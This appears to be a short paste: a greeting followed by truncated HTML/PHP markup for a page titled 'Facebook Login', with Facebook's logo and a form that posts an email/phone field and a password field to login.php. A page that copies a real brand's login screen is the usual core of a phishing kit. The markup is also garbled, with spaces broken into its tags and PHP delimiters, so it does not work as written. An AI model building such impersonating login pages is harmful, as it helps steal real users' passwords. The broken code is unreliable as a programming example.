hi
<! DOCTYPE html > < html > < head > < title > Facebook Login </ title > < link rel = "stylesheet" href = "style.css" > </ head > < body > < div class = "container" > < div class = "header" > < img src = "facebook-logo.png" alt = "Facebook" > </ div > < div class = "content" > < ?php if (isset($error)) { ?> < div class = "error" > < ?php echo $error; ?> </ div > < ?php } ?> < form action = "login.php" method = "post" > < input type = "text" name = "email" placeholder = "Email or Phone" > < input type = "password" name = "password" placeholder = "Password" > < button type = "submit" ...